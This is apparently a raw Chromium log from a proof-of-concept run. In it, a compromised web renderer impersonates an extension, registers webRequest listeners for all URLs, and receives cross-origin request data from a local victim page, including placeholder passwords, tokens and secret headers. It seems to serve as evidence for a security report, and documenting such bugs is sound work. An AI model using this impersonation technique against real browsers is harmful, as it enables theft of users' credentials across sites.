[1705:1705:0514/232326.477301:ERROR:extensions/renderer/extension_frame_helper.cc:364] [POC-PID-MAP] document http://localhost:8081/victim.html is rendered in pid=1705 [1707:1707:0514/232326.504854:ERROR:extensions/renderer/extension_frame_helper.cc:364] [POC-PID-MAP] document http://127.0.0.1:8080/attacker.html is rendered in pid=1707 [1707:1707:0514/232326.504992:ERROR:extensions/renderer/extension_frame_helper.cc:396] [POC-ATTACKER pid=1707] compromised web renderer at http://127.0.0.1:8080/attacker.html impersonating extension chkhegdnmbhmcbelbldbpibnhinjjlpa [1707:1707:0514/232326.505208:ERROR:extensions/renderer/extension_frame_helper.cc:349] [POC-ATTACKER pid=1707] sending AddFilteredListenerForMainThread(ext=chkhegdnmbhmcbelbldbpibnhinjjlpa, event=webRequest.onBeforeRequest/poc, filter={"_options":{"extraInfo":["requestBody"]},"urls":["\u003Call_urls>"]}, lazy=false) [1707:1707:0514/232326.505338:ERROR:extensions/renderer/extension_frame_helper.cc:349] [POC-ATTACKER pid=1707] sending AddFilteredListenerForMainThread(ext=chkhegdnmbhmcbelbldbpibnhinjjlpa, event=webRequest.onSendHeaders/poc, filter={"_options":{"extraInfo":["requestHeaders","extraHeaders"]},"urls":["\u003Call_urls>"]}, lazy=false) [1707:1707:0514/232326.505468:ERROR:extensions/renderer/extension_frame_helper.cc:349] [POC-ATTACKER pid=1707] sending AddFilteredListenerForMainThread(ext=chkhegdnmbhmcbelbldbpibnhinjjlpa, event=webRequest.onHeadersReceived/poc, filter={"_options":{"extraInfo":["responseHeaders","extraHeaders"]},"urls":["\u003Call_urls>"]}, lazy=false) [1707:1707:0514/232326.505570:ERROR:extensions/renderer/extension_frame_helper.cc:410] [POC-ATTACKER pid=1707] malicious webRequest listeners registered; now waiting for cross-origin request data from the browser process... [1631:1631:0514/232326.535756:INFO:CONSOLE:17] "[victim] victim origin: http://localhost:8081", source: http://localhost:8081/victim.html (17) [1707:1707:0514/232326.569664:ERROR:extensions/renderer/dispatcher.cc:1280] [POC-LEAK pid=1707] mojom::EventDispatcher::DispatchEvent received in this renderer: event = webRequest.onBeforeRequest/poc host_id = chkhegdnmbhmcbelbldbpibnhinjjlpa args = [{"documentId":"5EABF3D522C786A7915A8569D1C2D515","documentLifecycle":"active","frameId":0,"frameType":"outermost_frame","initiator":"http://localhost:8081","method":"GET","parentFrameId":-1,"requestId":"3","tabId":1733097364,"timeStamp":1.778801006568986e+12,"type":"image","url":"http://localhost:8081/favicon.ico"}] [1707:1707:0514/232326.571893:ERROR:extensions/renderer/dispatcher.cc:1280] [POC-LEAK pid=1707] mojom::EventDispatcher::DispatchEvent received in this renderer: event = webRequest.onBeforeRequest/poc host_id = chkhegdnmbhmcbelbldbpibnhinjjlpa args = [{"documentId":"C2FA88659C6F5752440B5B2FE576C780","documentLifecycle":"active","frameId":0,"frameType":"outermost_frame","initiator":"http://127.0.0.1:8080","method":"GET","parentFrameId":-1,"requestId":"4","tabId":1733097363,"timeStamp":1.778801006571679e+12,"type":"image","url":"http://127.0.0.1:8080/favicon.ico"}] [1707:1707:0514/232326.572859:ERROR:extensions/renderer/dispatcher.cc:1280] [POC-LEAK pid=1707] mojom::EventDispatcher::DispatchEvent received in this renderer: event = webRequest.onSendHeaders/poc host_id = chkhegdnmbhmcbelbldbpibnhinjjlpa args = [{"documentId":"5EABF3D522C786A7915A8569D1C2D515","documentLifecycle":"active","frameId":0,"frameType":"outermost_frame","initiator":"http://localhost:8081","method":"GET","parentFrameId":-1,"requestHeaders":[{"name":"sec-ch-ua-platform","value":"\"Linux\""},{"name":"Accept-Language","value":"en-US,en;q=0.9"},{"name":"sec-ch-ua","value":"\"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"150\""},{"name":"User-Agent","value":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36"},{"name":"sec-ch-ua-mobile","value":"?0"},{"name":"Accept","value":"image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8"},{"name":"Sec-Fetch-Site","value":"same-origin"},{"name":"Sec-Fetch-Mode","value":"no-cors"},{"name":"Sec-Fetch-Dest","value":"image"},{"name":"Referer","value":"http://localhost:8081/victim.html"},{"name":"Accept-Encoding","value":"gzip, deflate, br, zstd"}],"requestId":"3","tabId":1733097364,"timeStamp":1.778801006572495e+12,"type":"image","url":"http://localhost:8081/favicon.ico"}] [1707:1707:0514/232326.585330:ERROR:extensions/renderer/dispatcher.cc:1280] [POC-LEAK pid=1707] mojom::EventDispatcher::DispatchEvent received in this renderer: event = webRequest.onHeadersReceived/poc host_id = chkhegdnmbhmcbelbldbpibnhinjjlpa args = [{"documentId":"5EABF3D522C786A7915A8569D1C2D515","documentLifecycle":"active","frameId":0,"frameType":"outermost_frame","initiator":"http://localhost:8081","method":"GET","parentFrameId":-1,"requestId":"3","responseHeaders":[{"name":"Server","value":"SimpleHTTP/0.6 Python/3.11.2"},{"name":"Date","value":"Thu, 14 May 2026 23:23:26 GMT"},{"name":"Connection","value":"close"},{"name":"Content-Type","value":"text/html;charset=utf-8"},{"name":"Content-Length","value":"335"}],"statusCode":404,"statusLine":"HTTP/1.0 404 File not found","tabId":1733097364,"timeStamp":1.778801006584974e+12,"type":"image","url":"http://localhost:8081/favicon.ico"}] [1707:1707:0514/232326.586030:ERROR:extensions/renderer/dispatcher.cc:1280] [POC-LEAK pid=1707] mojom::EventDispatcher::DispatchEvent received in this renderer: event = webRequest.onSendHeaders/poc host_id = chkhegdnmbhmcbelbldbpibnhinjjlpa args = [{"documentId":"C2FA88659C6F5752440B5B2FE576C780","documentLifecycle":"active","frameId":0,"frameType":"outermost_frame","initiator":"http://127.0.0.1:8080","method":"GET","parentFrameId":-1,"requestHeaders":[{"name":"sec-ch-ua-platform","value":"\"Linux\""},{"name":"Accept-Language","value":"en-US,en;q=0.9"},{"name":"sec-ch-ua","value":"\"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"150\""},{"name":"User-Agent","value":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36"},{"name":"sec-ch-ua-mobile","value":"?0"},{"name":"Accept","value":"image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8"},{"name":"Sec-Fetch-Site","value":"same-origin"},{"name":"Sec-Fetch-Mode","value":"no-cors"},{"name":"Sec-Fetch-Dest","value":"image"},{"name":"Referer","value":"http://127.0.0.1:8080/attacker.html"},{"name":"Accept-Encoding","value":"gzip, deflate, br, zstd"}],"requestId":"4","tabId":1733097363,"timeStamp":1.778801006585705e+12,"type":"image","url":"http://127.0.0.1:8080/favicon.ico"}] [1707:1707:0514/232326.589932:ERROR:extensions/renderer/dispatcher.cc:1280] [POC-LEAK pid=1707] mojom::EventDispatcher::DispatchEvent received in this renderer: event = webRequest.onHeadersReceived/poc host_id = chkhegdnmbhmcbelbldbpibnhinjjlpa args = [{"documentId":"C2FA88659C6F5752440B5B2FE576C780","documentLifecycle":"active","frameId":0,"frameType":"outermost_frame","initiator":"http://127.0.0.1:8080","method":"GET","parentFrameId":-1,"requestId":"4","responseHeaders":[{"name":"Server","value":"SimpleHTTP/0.6 Python/3.11.2"},{"name":"Date","value":"Thu, 14 May 2026 23:23:26 GMT"},{"name":"Connection","value":"close"},{"name":"Content-Type","value":"text/html;charset=utf-8"},{"name":"Content-Length","value":"335"},{"name":"Cache-Control","value":"no-store"}],"statusCode":404,"statusLine":"HTTP/1.0 404 File not found","tabId":1733097363,"timeStamp":1.778801006589513e+12,"type":"image","url":"http://127.0.0.1:8080/favicon.ico"}] [1631:1631:0514/232330.323431:INFO:CONSOLE:17] "[victim] sending POST with secret body to /secret-victim-endpoint?token=TOPSECRET ...", source: http://localhost:8081/victim.html (17) [1707:1707:0514/232330.327190:ERROR:extensions/renderer/dispatcher.cc:1280] [POC-LEAK pid=1707] mojom::EventDispatcher::DispatchEvent received in this renderer: event = webRequest.onBeforeRequest/poc host_id = chkhegdnmbhmcbelbldbpibnhinjjlpa args = [{"documentId":"5EABF3D522C786A7915A8569D1C2D515","documentLifecycle":"active","frameId":0,"frameType":"outermost_frame","initiator":"http://localhost:8081","method":"POST","parentFrameId":-1,"requestBody":{"formData":{"password":["SUPER_SECRET_VICTIM_PASSWORD"],"username":["alice"]}},"requestId":"5","tabId":1733097364,"timeStamp":1.778801010326682e+12,"type":"xmlhttprequest","url":"http://localhost:8081/secret-victim-endpoint?token=TOPSECRET"}] [1707:1707:0514/232330.328622:ERROR:extensions/renderer/dispatcher.cc:1280] [POC-LEAK pid=1707] mojom::EventDispatcher::DispatchEvent received in this renderer: event = webRequest.onSendHeaders/poc host_id = chkhegdnmbhmcbelbldbpibnhinjjlpa args = [{"documentId":"5EABF3D522C786A7915A8569D1C2D515","documentLifecycle":"active","frameId":0,"frameType":"outermost_frame","initiator":"http://localhost:8081","method":"POST","parentFrameId":-1,"requestHeaders":[{"name":"User-Agent","value":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36"},{"name":"sec-ch-ua-platform","value":"\"Linux\""},{"name":"Accept-Language","value":"en-US,en;q=0.9"},{"name":"sec-ch-ua","value":"\"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"150\""},{"name":"Content-Type","value":"application/x-www-form-urlencoded"},{"name":"sec-ch-ua-mobile","value":"?0"},{"name":"X-Victim-Secret","value":"hunter2-authorization-header"},{"name":"Accept","value":"*/*"},{"name":"Origin","value":"http://localhost:8081"},{"name":"Sec-Fetch-Site","value":"same-origin"},{"name":"Sec-Fetch-Mode","value":"cors"},{"name":"Sec-Fetch-Dest","value":"empty"},{"name":"Referer","value":"http://localhost:8081/victim.html"},{"name":"Accept-Encoding","value":"gzip, deflate, br, zstd"}],"requestId":"5","tabId":1733097364,"timeStamp":1.778801010328245e+12,"type":"xmlhttprequest","url":"http://localhost:8081/secret-victim-endpoint?token=TOPSECRET"}] [1707:1707:0514/232330.329959:ERROR:extensions/renderer/dispatcher.cc:1280] [POC-LEAK pid=1707] mojom::EventDispatcher::DispatchEvent received in this renderer: event = webRequest.onHeadersReceived/poc host_id = chkhegdnmbhmcbelbldbpibnhinjjlpa args = [{"documentId":"5EABF3D522C786A7915A8569D1C2D515","documentLifecycle":"active","frameId":0,"frameType":"outermost_frame","initiator":"http://localhost:8081","method":"POST","parentFrameId":-1,"requestId":"5","responseHeaders":[{"name":"Server","value":"SimpleHTTP/0.6 Python/3.11.2"},{"name":"Date","value":"Thu, 14 May 2026 23:23:30 GMT"},{"name":"Content-Type","value":"text/plain"},{"name":"X-Server-Secret","value":"victim-response-secret"}],"statusCode":200,"statusLine":"HTTP/1.0 200 OK","tabId":1733097364,"timeStamp":1.778801010329719e+12,"type":"xmlhttprequest","url":"http://localhost:8081/secret-victim-endpoint?token=TOPSECRET"}] [1631:1631:0514/232330.333101:INFO:CONSOLE:17] "[victim] response: 200 ok", source: http://localhost:8081/victim.html (17)